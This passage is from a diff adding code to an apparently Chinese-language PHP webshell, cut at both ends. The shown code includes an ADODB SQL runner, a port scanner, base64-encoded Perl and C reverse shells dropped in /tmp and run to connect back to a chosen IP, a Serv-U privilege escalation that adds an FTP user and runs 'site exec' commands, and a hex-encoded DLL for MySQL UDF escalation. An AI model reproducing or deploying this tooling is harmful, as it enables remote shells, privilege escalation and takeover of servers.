COLUMN PASS"; + if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +
                连接字符串 +
                +
                SQL命令
                +
                + +END; + if(!empty($string)) + { + echo '
                '; + $shell = new COM('adodb'); + @$shell->Open($string); + $result = @$shell->Execute($sql); + $count = $result->Fields->Count(); + for($i = 0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} + echo $result ? $sql.' 执行成功
                ' : $sql.' 执行失败
                '; + if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field[$i]->value).'
                ';}@$result->MoveNext();}} + $shell->Close(); + @$shell->Release(); + $shell = NULL; + echo '
                '; + } +} + return true; +} + +//扫描端口 + +function Port_i() +{ + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958'; +print<< +
                扫描IP
                +
                端口号
                +
                + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
                '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2); + echo $fp ? '开放端口 ---> '.$ports[$i].'
                ' : '关闭端口 ---> '.$ports[$i].'
                '; + ob_flush(); + flush(); + } + echo '
                '; + } + return true; +} + +//Linux提权 + +function Linux_k() +{ + $yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR'); + $yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666'; +print<< +
                你的地址
                +
                连接端口
                +
                执行方式
                +
                +END; + if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) + { + echo '
                '; + if($_POST['use'] == 'perl') + { + $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
                ' : '创建/tmp/spider_bc失败
                '; + $perlpath = Exec_Run('which perl'); + $perlpath = $perlpath ? chop($perlpath) : 'perl'; + echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + if($_POST['use'] == 'c') + { + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
                ' : '创建/tmp/spider_bc.c失败
                '; + $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/spider_bc.c'); + echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + echo '
                你可以尝试连接端口 (nc -l -n -v -p '.$_POST['yourport'].')
                '; + } + return true; +} + +//ServU提权 + +function Servu_l() +{ + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[执行命令] [添加用户] +
                +
                ServU端口
                +
                ServU用户
                +
                ServU密码
                +END; +if($_GET['o'] == 'adduser') +{ +print<<帐号 +密码 +目录 +END; +} +else +{ +print<<提权命令
                + + + +END; +} +echo '
                '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: site exec ".$_POST["SUCommand"]."
                "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + @fclose($exp); + } + @fclose($sock); + echo '
                '; + } +} + +//MYSQL提权 + +function Mysql_shellcode() +{ + return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA88